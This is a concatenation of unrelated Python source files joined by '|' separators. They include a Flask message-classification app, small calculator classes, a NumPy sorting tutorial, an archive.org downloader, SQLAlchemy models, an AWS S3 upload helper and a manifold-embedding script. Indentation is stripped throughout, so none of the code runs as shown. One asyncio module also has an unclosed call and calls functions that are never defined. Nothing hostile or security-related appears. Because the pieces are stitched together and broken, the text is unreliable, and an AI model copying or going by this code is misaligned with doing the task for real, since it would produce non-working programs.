food_names = food_categories
# create visuals
graphs = [
{
'data': [
Bar(
x=cat_names,
y=cat_counts
)
],
'layout': {
'title': 'Distribution of Message Categories',
'yaxis': {
'title': "Count"
},
'xaxis': {
'title': "Categories",
'tickangle':-45,
'title_standoff':200
}
}
},
{
'data': [
{
'values':food_counts,
'labels':food_names,
'type':'pie'
}
],
'layout': {
'title': 'Categories that Correlated with Food Categories',
'height':600
}
},
{
'data': [
{
'x':df['cat_num'],
'type':'histogram'
}
],
'layout': {
'title': 'Distribution of messages by number of categories assigned'
}
}
]
# encode plotly graphs in JSON
ids = ["graph-{}".format(i) for i, _ in enumerate(graphs)]
graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder)
# render web page with plotly graphs
return render_template('master.html', ids=ids, graphJSON=graphJSON)
# web page that handles user query and displays model results
@app.route('/go')
def go():
# save user input in query
query = request.args.get('query', '')
# use model to predict classification for query
classification_labels = model.predict([query])[0]
classification_results = dict(zip(df.columns[4:-1], classification_labels))
# This will render the go.html Please see that file.
return render_template(
'go.html',
query=query,
classification_result=classification_results
)
def main():
app.run(host='0.0.0.0', port=3001, debug=True)
if __name__ == '__main__':
main()
|
class AddMinusCal:
def __init__(self, first=0, second=0):
self.first = first
self.second = second
def setdata(self, first, second):
self.first = first
self.second = second
def add(self):
result = self.first + self.second
return result
class MultipleDivideCal:
def __init__(self, first=0, second=0):
self.first = first
self.second = second
def setdata(self, first, second):
self.first = first
self.second = second
def multiple(self):
result = self.first * self.second
return result
|
import pandas as pd
import requests
from pprint import pprint
from datetime import date, datetime, timedelta
import pickle
requestHeaders = {"User-Agent":"Asteroid appraiser by vjackrussel@gmail.com"}
the_forge_region_id = 10000002
type_id_input = 28432
result = requests.get(f"https://esi.evetech.net/latest/markets/{the_forge_region_id}/history/?datasource=tranquility&type_id={type_id_input}", headers=requestHeaders).json()[-2]
pprint(result)
print(type(result))
print(result['date'], type(result['date']))
test_date = datetime.strptime(result['date'], "%Y-%m-%d").date()
print(test_date)
datetime_delta = date.today() - test_date
print(datetime_delta.days, type(datetime_delta.days))
|
# -*- coding: utf-8 -*-
"""
Created on Sat Oct 26 20:21:07 2019
Tecnológico Nacional de México (TECNM)
Tecnológico de Estudios Superiores de Ixtapaluca (TESI)
División de ingeniería electrónica
Introducción a la librería Numpy 2
M. en C. Rogelio Manuel Higuera Gonzalez
"""
import numpy as np
##################################################################################
ages = np.array([34,14,37,5,13]) #Crea un arreglo de edades
sorted_ages = np.sort(ages) #Acomoda los elementos del arreglo ages del menor al mayor
#ages.sort() #Acomoda los elementos del arreglo original ages del menor al mayor
argages = ages.argsort() #Indica el indice que clasifica a cada uno de los elementos del arreglo ages (del menor al mayor)
ages1 = ages[ages.argsort()] #Crea un arreglo ages ordenado dependiendo de su indice
##################################################################################
persons = np.array(['Johnny','Mary','Peter','Will','Joe'])
heights = np.array([1.76,1.2,1.68,0.5,1.25])
sort_indices = np.argsort(ages) #Realiza una clasificación basada en edades
#print(persons[sort_indices]) #Imprime la lista de personas clasificadas por su edad
#print(heights[sort_indices]) #Imprime la lista de altura clasificadas por su esdad
#print(ages[sort_indices]) #Imprime la lista de edad clasificadas por su edad
sort_indices1 = np.argsort(persons)
#print(persons[sort_indices1])
#print(ages[sort_indices1])
#print(heights[sort_indices1])
#Para ordenar en orden desendente las estaturas usar la notación en Python [::-1]
sort_indices2 = np.argsort(heights)[::-1]
#print(persons[sort_indices2])
#print(ages[sort_indices2])
#print(heights[sort_indices2])
##################################################################################
list1 = [[1,2,3,4],[5,6,7,8]]
a1 = np.array(list1)
a2 = a1
a2[0][0] = 11 #Hacer un cambio en a2 afecta a a1
a1.shape = 1,-1 #a2 tambien cambia su forma
##################################################################################
list2 = [[10,11,12,13],[14,15,16,17]]
a3 = np.array(list2)
a4 = a3.view() #Copia superficial, cuando cambias la forma de a3, a4 no es afectado
a3.shape = 1,-1
##################################################################################
list3 = [[20,21,22,23],[24,25,26,27]]
a5 = np.array(list3)
a6 = a5.copy() #La función copy() crea una copia profunda del arreglo
a5[0][0] = 10 #El cambio no es reflejado en a6
a5.shape = 1,-1 #a6 no cambia su forma
|
from datetime import datetime
from locale import setlocale, LC_ALL
# Datas em outro idioma:
setlocale(LC_ALL, '') # Determina o formato com base no idioma do usuário
# setlocale(LC_ALL, 'pt_BR.utf-8')
date = datetime.now() # Pega a data de agora
print(date.strftime('%A, %d de %B de %Y'))
|
import asyncio
import typing
class CallableIO:
""" Base class for every
applicant, Routine, Task, Future, Worker, Producer, Consumer, etc. in the library.
Makes an ASyncIO callable object. """
def prepare(self, *args, **kwargs) -> bool:
""" Prepare the arguments for a call. """
raise NotImplemented(f"Interface [ioctools / base.py].CallableIO.__call__")
async def done(self):
""" Signals done """
pass
async def __call__(self, *args, **kwargs):
raise NotImplemented(
f"Interface! [ioctools / base.py].CallableIO.__call__]")
await self.done()
# This should go into another package
class Pause(CallableIO):
""" Simple structure that keeps useful things about pauses. """
def __init__(self, amount, unit="seconds"):
self.amount = amount
self.unit = unit
def __str__(self):
return f"[{self.amount} [unit={self.unit}]]"
def __int__(self):
if self.unit == 'minutes':
return self.amount * 60
elif self.unit == 'hours':
return self.amount * 3600
elif self.unit == 'days':
return self.amount * 3600 * 24
else:
return self.amount
async def __call__(self):
await asyncio.sleep(int(self))
# This should go into another package.
class Context:
""" Keeps all Applicant's results and arguments of a async call"""
def __init__(self,
args=(),
kwargs={},
returns=None,
error=None,
pause=None):
self.args = args
self.kwargs = kwargs
self.returns = returns
self.error = error
#: [Self] / Consider! A Base class .
self.pause = pause
# This should go into another package
class Method:
"""This is a base class of all Applicant's methods that deals with
abstracting details of the call types into a single apply class."""
def __init__(self, io_f, context=None):
self.io_f = io_f
self.context = context
# These should go into a module of their own
class Routine(Method):
def __init__(self, io_, context, *args, **kwargs):
super().__init__(io_, context)
async def __call__(self, *args, **kwargs):
self.context.returns = await self.io_f(
*self.context.args,
**self.context.kwargs)
class Task(Method):
def __init__(self, io_f, *args, **kwargs):
super().__init__(io_f)
self._task = asyncio.create_task(self.io_f(
*self.context.args,
**self.context.kwargs))
async def __call__(self, *args, **kwargs):
self.context.returns = await asyncio.gather(*[self._task])
async def test_task_01():
pass
#: ~.~
#: [$] / Go To! [:applicants.py]
DEFAULT_PAUSE = None # Pause(1, "seconds")
class Apply:
""" Single (time) Routine runner """
def __init__(self, method=None, context=None):
self.method = method
if context:
self.method.context = context
def prepare(self,
What_: typing.Union[type, Method],
io_: typing.Union[typing.Callable],
*args,
**kwargs):
if 'context' in kwargs:
context = kwargs.pop('context')
else:
context = Context()
if 'pause' in kwargs:
context.pause = kwargs.pop('pause')
else:
context.pause = DEFAULT_PAUSE
print(f"Apply -> args: {args}")
context.args = args
context.kwargs = kwargs
if isinstance(What_, type):
self.method = What_(io_, context=context)
elif isinstance(What_, Method):
self.method = What_
else:
raise BadArgument(f"Method_ .IS: {Method_}")
async def complete(self):
if self.method.context.pause:
await self.method.context.pause()
async def __call__(self, What_: typing.Union[Method, type], io_f, *args, **kwargs):
self.prepare(What_, io_f, *args, **kwargs)
await self.method() #: [$] / Self! Please; Provide
#: [Implementation [Method.__await__()]]
#: . /dev/.bhdz/warn
await self.complete()
return self.method.context.returns
class ApplyMany(Apply):
def __init__(self, count=1):
super().__init__()
self.count = count
self.tasks = []
def prepare(self, What_: Task,
ios_: typing.Container[Method],
a_args: typing.Container[typing.Container[typing.Any]],
a_kwargs: typing.Container[typing.Dict[typing.Any, typing.Any]]) -> bool:
it_kwargs = iter(a_kwargs)
it_args = iter(a_args)
for io_f in ios_:
try:
kwargs = next(it_kwargs)
except StopIteration:
kwargs = {}
try:
args = next(it_args)
except StopIteration:
args = ()
task = Task(io_f, *args, **kwargs)
self.tasks.append(task)
return True
async def complete(self) -> typing.Any:
self.context.returns = ret
if self.context.pause:
await self.context.pause()
return ret
def forget(self, ret):
return ret
def memorise(self, ret):
self.context.returns = ret
return ret
async def __call__(self, What_, ios_: list, args: list, kwargs: list):
if self.prepare():
ret = await asyncio.gather(*self.tasks)
await self.comlete()
return self.forget(ret)
else:
raise Exception(f"Error!?")
#
#: [$] / Self! Please; Provide [proper] testing; for this [module:proto.py]
#: . /dev/.bhdz/warn
#: proper = + pytest? yes; pytest
#
def test0():
print(f"Running test0::\n")
async def main():
async def pause(number, text):
print(f"pause: (number={number}) (text={text}) -> begin:")
await asyncio.sleep(5)
print(f"pause: -> ends:")
return 1
apply = Apply()
ret = await apply(Routine, pause, "hello", 5)
print(f"pause -> {ret}")
args = (
(5, "hello",),
(1, "world",),
(23, "skidoo",),
)
#pause_routine = Routine(pause)
pause_tasks = (
Task(Routine(pause)),
Task(Routine(pause)),
Task(Routine(pause)),
)
ret = many_pauses(Task, Apply(Routine, pause_routine, "hello", 5)
asyncio.run(main())
print(f"\n::test0")
def test1():
print(f"Running test1::")
async def main():
pass
print(f"::test1")
if __name__ == "__main__":
tests = [
test0,
test1,
]
print(f"\tTest Case / 00::")
for test in tests:
print(f"\tTest!")
test()
print()
|
lines = open('day3.txt','r').readlines()
#lines = ['R8,U5,L5,D3', 'U7,R6,D4,L4']
def get_locs(directions):
px = 0
py = 0
for d in directions:
direction = d[0]
amount = int(d[1:])
x,y = { 'U': (0,-1), 'D':(0,1), 'R':(1,0), 'L':(-1,0) }[direction]
yield from ((px + d*x, py + d*y) for d in range(amount))
px += x*amount
py += y*amount
f = dict()
for i, loc in enumerate(get_locs(lines[0].split(','))):
if not loc in f:
f[loc] = i
s = dict()
for i, loc in enumerate(get_locs(lines[1].split(','))):
if not loc in s:
s[loc] = i
intersections = (f.keys() & s.keys()) - {(0,0)}
print(intersections)
first = min(intersections, key=lambda i: f[i] + s[i])
closest = min(intersections, key=lambda i: abs(i[0]) + abs(i[1]))
print("first", first, f[first] + s[first])
print("closest", closest, abs(closest[0]) + abs(closest[1]))
"""
intersections = f & s - frozenset([(0,0)])
closest = min([abs(x)+abs(y) for x,y in intersections])
closestintersection = [ (x,y) for x,y in intersections if abs(x)+abs(y) == closest ][0]
print(closest)
print(closestintersection)
"""
|
"""
计算1到M（含M）之间的合数数量，输出其值。
"""
def com_num():
M = eval(input("Please enter a positive integer M(M<10000) :"))
i = 0
for m in range(2, M + 1): #
for n in range(2, m - 1): # The range of factors of composite Numbers
if m % n == 0:
i += 1
break
print(i)
com_num()
|
# pylint: disable=wrong-import-position
import unittest
import sys
sys.path.append('..')
from conf import clean
from admin import Admin
class TestCase(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.admin = Admin()
cls.admin.conf_setup()
clean()
@classmethod
def tearDownClass(cls):
for p in cls.admin.get_all_processes():
p.terminate()
clean()
def suiteRunner(testcases):
# Run test cases in order
suite = unittest.TestSuite()
suite.addTests(testcases)
runner = unittest.TextTestRunner(verbosity=2)
runner.run(suite)
|
from eventlet import patcher
from eventlet.green import asyncore
from eventlet.green import ftplib
from eventlet.green import threading
from eventlet.green import socket
patcher.inject('test.test_ftplib', globals())
# this test only fails on python2.7/pyevent/--with-xunit; screw that
try:
TestTLS_FTPClass.test_data_connection = lambda *a, **kw: None
except (AttributeError, NameError):
pass
if __name__ == "__main__":
test_main()
|
#!/usr/bin/python
import os, sys, getopt
from internetarchive import search_items, get_item
def main(argv):
collection = ''
outputdir = ''
slamall = 0
fext = ''
getext = ['.mp3', 'epub', '.pdf', '.cbz', '.cbr', '.avi', 'mp4', 'divx', 'rar']
try:
opts, args = getopt.getopt(argv,"hc:o:a",["collection=","outputdir=","all"])
except getopt.GetoptError:
print 'archivecollectionget.py -c <archive.org collection> -o <outputdirectory>'
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print 'archivecatalogget.py -c <archive.org collection> -o <outputdirectory>'
sys.exit()
elif opt in ("-c", "--collection"):
collection = arg
elif opt in ("-o", "--outputdir"):
outputdir = arg
elif opt in ("-a", "--all"):
slamall = 1
print 'I will now scour the Archive.org collection ', collection + ' and put the results in', outputdir
search = search_items('collection:'+collection)
print "Items in collection", collection +" = ",search.num_found
if not(os.path.isfile(outputdir + collection)):
os.mkdir(outputdir + collection)
os.chdir(outputdir + collection)
for result in search:
print(result['identifier'])
item = get_item(result['identifier'])
for f in item.iter_files():
fext = f.name[(len(f.name)-4):]
if fext in getext:
print f.name
if not(os.path.isfile(f.name)):
f.download()
if __name__ == "__main__":
main(sys.argv[1:])
|
routers = dict(
BASE=dict(
default_application="shebanq",
root_static=[
"robots.txt",
"favicon.ico",
"apple-touch-icon.png",
"google9e12b65b9e77c1da.html",
],
)
)
|
# input is taken as int value in this case
a = int(input("Enter num 1: "))
b = int(input("Enter num 2: "))
c = a+b
print(c)
|
import os
import sys
import argparse
parser = argparse.ArgumentParser(description="Utilities for Gluu CE")
parser.add_argument('-load-ldif', help="Loads ldif file to persistence")
argsp = parser.parse_args()
#first import paths and make changes if necassary
from setup_app import paths
#for example change log file location:
paths.LOG_FILE = os.path.join(paths.INSTALL_DIR, 'logs/setup-utils.log')
from setup_app import static
# second import module base, this makes some initial settings
from setup_app.utils import base
# we will access args via base module
base.argsp = argsp
from setup_app.utils.package_utils import packageUtils
packageUtils.check_and_install_packages()
from setup_app.messages import msg
from setup_app.config import Config
from setup_app.static import BackendTypes
from setup_app.utils.setup_utils import SetupUtils
from setup_app.utils.collect_properties import CollectProperties
from setup_app.installers.gluu import GluuInstaller
Config.init(paths.INSTALL_DIR)
Config.determine_version()
# we must initilize SetupUtils after initilizing Config
SetupUtils.init()
collectProperties = CollectProperties()
if os.path.exists(Config.gluu_properties_fn):
collectProperties.collect()
Config.installed_instance = True
else:
print("Gluu Server installation was not found")
sys.exit()
gluuInstaller = GluuInstaller()
class SetupUtilities:
def __init__(self):
pass
def load_ldif(self, ldif_fn):
if not os.path.exists(ldif_fn):
print("Can't file", ldif_fn)
return
print("Loading ldif file", ldif_fn)
gluuInstaller.dbUtils.import_ldif([ldif_fn])
setupUtilities = SetupUtilities()
if argsp.load_ldif:
setupUtilities.load_ldif(argsp.load_ldif)
|
import csv
import os
wow = []
for dorks in os.listdir('_data'):
with open('_data/{}'.format(dorks)) as f:
reader = csv.DictReader(f)
for row in reader:
what = row.get('Where to find it', row.get(
'Why you dig it (HTML and Markdown okay)'))
if what is not None and what not in wow:
wow.append(what)
with open('dorks.txt', 'w') as f:
f.write('\n'.join(wow))
header = """---
layout: page
title: "Things we've called Spotify"
---
"""
with open('dorks.md', 'w') as f:
f.write(header)
for what in wow:
f.write('* {}\n'.format(what))
|
# Copyright 2018 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import unittest
from dashboard.api import utils
class ParseBoolTest(unittest.TestCase):
def testTrueValues(self):
self.assertTrue(utils.ParseBool('1'))
self.assertTrue(utils.ParseBool('true'))
self.assertTrue(utils.ParseBool('True'))
self.assertTrue(utils.ParseBool('TRUE'))
def testFalseValues(self):
self.assertFalse(utils.ParseBool('0'))
self.assertFalse(utils.ParseBool('false'))
self.assertFalse(utils.ParseBool('False'))
self.assertFalse(utils.ParseBool('FALSE'))
def testNoneValueIsNone(self):
self.assertIsNone(utils.ParseBool(None))
def testInvalidValueRaises(self):
with self.assertRaises(ValueError):
utils.ParseBool('foo')
if __name__ == '__main__':
unittest.main()
|
import pytest
def test_capital_case():
assert ('semaphore') == 'semaphore'
|
"""Set up the database, create tables User, Category, Items"""
from sqlalchemy import Column, \
ForeignKey, \
Integer, \
String, \
DateTime, \
Boolean, \
UnicodeText, \
create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import relationship
from sqlalchemy.sql import func
from pemoi import app
Base = declarative_base()
class User(Base):
"""User class for the user table
Columns:
id: Primary key, auto-genereated, incremental integer
name: User's real name or name from Google Plus, Facebook, Twitter, github
(if implemented)
username: User name, chosen by user, used for display on website, unique
email: User's e-mail address, unique value
picture: Link to profile picture
about: Text about the user, i.e. info about self
register_date: DateTime of user registration, gets added automatically
"""
__tablename__ = "user"
id = Column(Integer, primary_key=True)
name = Column(String(100), nullable=False)
username = Column(String(50), nullable=False, unique=True)
email = Column(String(100), nullable=False, unique=True)
picture = Column(String(250))
about = Column(UnicodeText)
register_date = Column(DateTime(timezone=True), server_default=func.now())
categories = relationship('Category', back_populates='user')
items = relationship('Item', back_populates='user')
class Category(Base):
"""Category class for the category table
Columns:
id: Primary key, auto-generated, incremental integer
name: String(100) Name of the category, must be unique for public categories
description: String(250) Short description of category
user_id: Foreign key, user.id from user table
user: Relationship to User table
items: Items by this user (id)
add_date: DateTime of addition, auto-generated
public: Boolean, so that the user can decide whether or not to make a
category public (private is default)
The following fields have to be provided: name, user_id, public
"""
__tablename__ = "category"
id = Column(Integer, primary_key=True)
name = Column(String(100), nullable=False)
description = Column(String(250))
user_id = Column(Integer, ForeignKey('user.id'))
user = relationship('User', back_populates="categories")
items = relationship('Item', back_populates="category")
add_date = Column(DateTime(timezone=True), server_default=func.now())
public = Column(Boolean, default=False)
@property
def serialize(self):
"""Return public categories in serialisable format"""
if self.public:
return {
'name': self.name,
'description': self.description,
'add_date':self.add_date,
}
else:
return {
'public': self.public
}
def allow_private(self):
"""Check if category is allowed as private
Check if category has items other than user's own, if yes, don't
allow setting it to private"""
allow = True
for item in self.items:
if item.user_id != self.user_id:
allow = False
return allow
class Item(Base):
"""Item class for item table
Columns:
id: Primary key, auto-generated, incremental integer
link: String for URL to picture/video. Required
title: String for the title of the inspiration. Optional
artist: String for the artist/author/director. Optional
note: UnicodeText for storing personal notes. Optional
keywords: String for keywords, optional
add_date: DateTime of addition, auto-generated
edit_date: DateTime of last edit, updated on edit
category_id: Foreign key category.id form category table
category: Relationship to Category class
user_id: Foreign key user.id from user table
user: Relationship to User class
public: Boolean, so that the user can decide whether or not to share the
inspiration
"""
__tablename__ = "item"
id = Column(Integer, primary_key=True)
link = Column(String(250), nullable=False)
title = Column(String(250))
artist = Column(String(250))
note = Column(UnicodeText)
keywords = Column(String(250))
add_date = Column(DateTime(timezone=True), server_default = func.now())
edit_date = Column(DateTime(timezone=True), onupdate = func.now())
category_id = Column(Integer, ForeignKey('category.id'))
category = relationship('Category', back_populates="items")
user_id = Column(Integer, ForeignKey('user.id'))
user = relationship('User', back_populates="items")
public = Column(Boolean, default=False)
@property
def serialize(self):
"""Return public items in serialisable format"""
if self.public:
return {
'link': self.link,
'title': self.title,
'artist': self.artist,
'note': self.note,
'add_date': self.add_date,
}
else:
return {
'public': self.public,
}
engine = create_engine(app.config['DB_URI'],
convert_unicode=True)
Base.metadata.create_all(engine)
|
import time
from _setup.models import Secret
from pyprintplus import Log
import boto3
from botocore.exceptions import NoCredentialsError
class Aws():
def __init__(self,
access_key_id=Secret('AWS.ACCESS_KEYID').value,
secret_access_key=Secret('AWS.SECRET_ACCESS_KEY').value,
bucket_name=Secret('AWS.S3.BUCKET_NAME').value,
server_area=Secret('AWS.S3.SERVER_AREA').value,
show_log=True,
test=False):
self.logs = ['self.__init__']
self.test = test
self.started = round(time.time())
self.show_log = show_log
self.setup_done = True if access_key_id and secret_access_key and bucket_name and server_area else False
self.access_key_id = access_key_id
self.secret_access_key = secret_access_key
self.bucket_name = bucket_name
self.server_area = server_area
if self.setup_done:
self.s3_url = bucket_name+'.s3-' + server_area+'.amazonaws.com'
self.session = boto3.Session(
aws_access_key_id=access_key_id,
aws_secret_access_key=secret_access_key,
)
self.s3_bucket = self.session.resource('s3').Bucket(bucket_name)
self.s3_client = boto3.client('s3')
@property
def config(self):
return Secret('AWS').value
def log(self, text):
import os
self.logs.append(text)
if self.show_log == True:
Log().print('{}'.format(text), os.path.basename(__file__), self.started)
def setup(self):
from pyprintplus import Log
import json
try:
if not self.access_key_id or not self.secret_access_key or not self.bucket_name:
Log().show_messages(
['Let\'s setup AWS - so whenever a user creates a new event via your new website, the event image will be uploaded to AWS S3.'])
Log().show_message(
'To upload photos to S3: Enter your AWS ACCESS_KEYID')
self.access_key_id = None if self.test else input()
if not self.access_key_id and not self.test:
raise KeyboardInterrupt
Log().show_message(
'To upload photos to S3: Enter your AWS SECRET_ACCESS_KEY')
self.secret_access_key = None if self.test else input()
if not self.secret_access_key and not self.test:
raise KeyboardInterrupt
Log().show_message(
'To upload photos to S3: Enter your S3 BUCKET_NAME')
self.bucket_name = None if self.test else input()
if not self.bucket_name and not self.test:
raise KeyboardInterrupt
Log().show_message(
'To upload photos to S3: Enter your S3 SERVER_AREA')
self.server_area = None if self.test else input()
if not self.server_area and not self.test:
raise KeyboardInterrupt
Log().show_message(
'To delete photos from S3: Did you configure the AWS CLI? (yes|no)')
reply = 'yes' if self.test else input()
if reply == 'no':
Log().show_messages([
'Install the AWS CLI: https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-install.html',
'Configure your AWS CLI: https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html#cli-quick-configuration'
])
with open('_setup/secrets.json') as json_config:
secrets = json.load(json_config)
secrets['AWS']['ACCESS_KEYID'] = self.access_key_id
secrets['AWS']['SECRET_ACCESS_KEY'] = self.secret_access_key
secrets['AWS']['S3']['BUCKET_NAME'] = self.bucket_name
secrets['AWS']['S3']['SERVER_AREA'] = self.server_area
with open('_setup/secrets.json', 'w') as outfile:
json.dump(secrets, outfile, indent=4)
Log().show_message('Aws setup complete.')
except KeyboardInterrupt:
Log().show_message('Ok, canceled setup.')
def upload(self, image):
self.log('upload()')
if not self.setup_done:
self.log('-> ERROR: Secrets are missing. Complete setup first.')
return None
elif not image:
self.log('-> ERROR: Image is needed')
return None
s3_object = self.s3_bucket.put_object(
Key=image.name, Body=image, ACL='public-read')
if s3_object:
return 'https://'+self.s3_url+'/'+image.name
else:
return None
def delete(self, file_name):
self.log('delete()')
if not self.setup_done:
return False
try:
response = self.s3_client.delete_object(
Bucket=self.bucket_name, Key=file_name)
if response['ResponseMetadata']['HTTPStatusCode'] == 204:
return True
else:
self.log('-> ERROR: Unexpected response: {}'.format(response))
return False
except NoCredentialsError:
self.log(
'-> ERROR: Credentials not found. Probably you havent setup the AWS CLI. To fix this: use "sudo apt install awscli", followed by "aws configure" or read more online: https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html#cli-quick-configuration')
|
# -*- coding: utf-8 -*-
"""
Created on Fri Mar 27 2021 10:47 am
@author: Andi
Performs FLE for manifolds from TC result
Available manifolds:
sphere
parabola
swiss roll
"""
import networkx as nx
from matplotlib import pyplot as plt
import numpy as np
import gudhi
from mpl_toolkits.mplot3d.art3d import Line3DCollection
from scipy.spatial.distance import minkowski
import cvxpy as cp
from matplotlib.collections import LineCollection
from sklearn.decomposition import PCA
import math
from utils import is_cross, detect_boundary, generate_regular_polygon, sample_spherical, cross
from model import FLE, TC
#%% Setting parameters
data_choice = 'sphere'
N = 500
gamma = 0.1
use_boundary = False
idx_tri = 3
twostepFLE = True # whether we want to use 2-step FLE, this only works when use_boundary = False
save_fig = True
fig_dir = './Experiments/' + data_choice + '/'
np.random.seed(42)
#%% datasets generate
if data_choice == 'sphere':
phi = np.linspace(0, np.pi, 20)
theta = np.linspace(0, 2 * np.pi, 40)
x = np.outer(np.sin(theta), np.cos(phi))
y = np.outer(np.sin(theta), np.sin(phi))
z = np.outer(np.cos(theta), np.ones_like(phi))
xi, yi, zi = sample_spherical(N)
data = np.asarray(np.column_stack((xi,yi,zi)))
t = data[:,2]
elif data_choice == 'parabola':
xdata = np.random.random(N)-0.5
ydata = np.random.random(N)-0.5
zdata = xdata**2+ydata**2
data = np.asarray(np.column_stack((xdata,ydata,zdata)))
t = data[:,2]
fig = plt.figure()
ax = fig.gca(projection='3d')
ax.scatter3D(data[:,0], data[:,1], data[:,2], c = t , cmap = plt.cm.Spectral)
ax.set_xticklabels([])
ax.set_yticklabels([])
ax.set_zticklabels([])
ax.view_init(30,45)
if save_fig:
plt.savefig(fig_dir+'{}_3d_pts.pdf'.format(data_choice), bbox_inches='tight')
plt.show()
#%% TC on data
tc = TC(data, 2, True, 0.01, 10)
# construct simp?lex tree
st = tc.create_simplex_tree()
# get triangles (index) and edges (coordinates)
triangles = ([s[0] for s in st.get_skeleton(2) if len(s[0])==3])
edges = []
edge_list=[]
for s in st.get_skeleton(1):
e = s[0]
if len(e) == 2:
edge_list.append([e[0],e[1]])
edges.append(data[[e[0],e[1]]])
# plot out TC result
fig = plt.figure()
ax = fig.gca(projection='3d')
ax.scatter3D(data[:,0], data[:,1], data[:,2], c = t , cmap = plt.cm.Spectral)
ax.add_collection3d(Line3DCollection(segments=edges, linewidths=0.3))
ax.set_xticklabels([])
ax.set_yticklabels([])
ax.set_zticklabels([])
ax.view_init(30,45)
if save_fig:
plt.savefig(fig_dir+ '{}_3d_tri.pdf'.format(data_choice), bbox_inches='tight')
plt.show()
#%% construct graph
G = nx.Graph()
# get nodes
for i in st.get_skeleton(0):
v = i[0]
h = nx.path_graph(v)
G.add_nodes_from(h) # vertices
for e in edge_list:
dist = minkowski(data[e[0]], data[e[1]], p=2) # use minkowski distance, can replace this with other distances
G.add_weighted_edges_from( [(e[0], e[1], np.exp(-dist*gamma))] ) #edges
# compute laplacian
adj_mfd = nx.adjacency_matrix(G)
D = np.sum(adj_mfd, axis = 1)
Lap = np.diag(np.array(D).flatten()) - adj_mfd
#%% Fixed-point LE
if use_boundary:
# if use boundary from TC as fixed points
boundary_edge, boundary_point_idx = detect_boundary(st, edge_list)
# if there is no boundary, we raise an error
assert len(boundary_point_idx) > 0, "No boundary detected, please do not use boundary"
boundary_point = data[boundary_point_idx] # coordinates of boundary points
# Highlight the boundary points
fig = plt.figure()
ax = fig.gca(projection='3d')
# Plot points
ax.scatter3D(data[:,0], data[:,1], data[:,2], c = t , cmap = plt.cm.Spectral)
ax.scatter3D(boundary_point[:,0], boundary_point[:,1], boundary_point[:,2], c = 'black', marker = '*') # boundary points
ax.add_collection3d(Line3DCollection(segments=data[boundary_edge, :], linewidths=0.3)) # boundary edges
ax.view_init(60,0)
plt.show()
# ===== Map boundary in cyclic order to boundary of regular polygon =======
# Regular polygon as fixed points
C = generate_regular_polygon(len(boundary_point_idx))
# Note we need to match the index in cyclic order, we first start with any edge
e_temp = boundary_edge[0]
C_index = [e_temp[0], e_temp[1]]
# start with iteration 2 because we already add 2 vertices
iteration = 2
while iteration <= len(boundary_point_idx):
last_pt = C_index[-1]
# iterate thourgh all edges
for e in boundary_edge:
if last_pt in e:
pt_candidate = set(e).difference(set(C_index)) # set difference
if len(pt_candidate) == 1:
# this means we have a new point to add
C_index.append(list(pt_candidate)[0])
iteration += 1
# ========================================================================
else:
# map any triangle into a [[1,0], [-1,0], [0,1]] fixed point
C = np.matrix([[1,0],[-1,0],[0,1]])
C_index = triangles[idx_tri]
Y = FLE(Lap, C, C_index)
#%% Plots
fle_edges=[]
for s in st.get_skeleton(1):
e = s[0]
if len(e) == 2:
fle_edges.append(Y[[e[0],e[1]]])
plt.scatter(Y[:,0], Y[:,1],c =t, cmap = plt.cm.Spectral)
lc = LineCollection(segments = fle_edges, linewidths=0.3)
plt.gca().add_collection(lc)
plt.xticks([], [])
plt.yticks([], [])
if save_fig:
plt.savefig(fig_dir + data_choice + '_FLE_1step.pdf', bbox_inches='tight')
plt.show()
#%%
crosses = cross(fle_edges, edge_list, findall=True)
if len(crosses) != 0:
print('{} cross found!'.format(len(crosses)))
else:
print('No cross found!')
#%% Second-step Fixed-point LE
if twostepFLE and (not use_boundary):
# detect boundary again because we haven't done so if use_boundary == False
boundary_edge, boundary_point_idx = detect_boundary(st, edge_list)
# if there is no boundary, we raise an error (note error msg different)
assert len(boundary_point_idx) > 0, "No boundary detected, one-step FLE is sufficient"
# plot out the boundary in the first-step fle
plt.scatter(Y[:,0], Y[:,1], c = t , cmap = plt.cm.Spectral)
lc = LineCollection(segments = fle_edges, linewidths=0.3)
plt.gca().add_collection(lc)
plt.scatter(Y[boundary_point_idx,0], Y[boundary_point_idx,1], c='black', marker='*')
plt.xticks([], [])
plt.yticks([], [])
if save_fig:
plt.savefig(fig_dir + data_choice + '_FLE_1step_bd.pdf', bbox_inches='tight')
plt.show()
# plot the boundary in high dimensional space
fig = plt.figure()
ax = fig.gca(projection='3d')
ax.scatter3D(data[:,0], data[:,1], data[:,2], c = t, cmap = plt.cm.Spectral)
ax.add_collection3d(Line3DCollection(segments = data[edge_list], linewidths=0.3 ))
ax.scatter3D(data[boundary_point_idx,0], data[boundary_point_idx,1], data[boundary_point_idx,2], c='black', marker='*')
ax.set_xticklabels([])
ax.set_yticklabels([])
ax.set_zticklabels([])
ax.view_init(30,45)
if save_fig:
plt.savefig(fig_dir + data_choice + '_FLE_3d_bd.pdf', bbox_inches='tight')
plt.show()
# Fixed point updated
C = np.matrix([Y[i] for i in boundary_point_idx])
C_index = np.array(list(boundary_point_idx)) # index for fixed points
Y = FLE(Lap, C, C_index)
# Final Plot
fle_edges=[]
for e in edge_list:
fle_edges.append(Y[[e[0],e[1]]])
plt.scatter(Y[:,0], Y[:,1],c = t , cmap = plt.cm.Spectral)
lc = LineCollection(segments = fle_edges, linewidths=0.3)
plt.gca().add_collection(lc)
plt.xticks([], [])
plt.yticks([], [])
if save_fig:
plt.savefig(fig_dir + data_choice + '_FLE_2step.pdf', bbox_inches='tight')
plt.show()
# Final Check crossing
crosses = cross(fle_edges, edge_list, findall=True)
if len(crosses) != 0:
print('{} cross found!'.format(len(crosses)))
else:
print('No cross found!')
|
import os
import numpy as np
import glob
import librosa
import scipy
print('mjm')
wavs = glob.glob('../2019_KETI_NOISE/sep_backup/HOME/*_ch1_fan.wav')
output_file='../2019_KETI_NOISE/SEP/home/fan_test/'
wavs.sort()
time_len=160000
y_len=0
cnt =1
firtst_flag=0
y_sum=[]
y_PP=[]
y_p=[]
y_sum=np.array(y_sum)
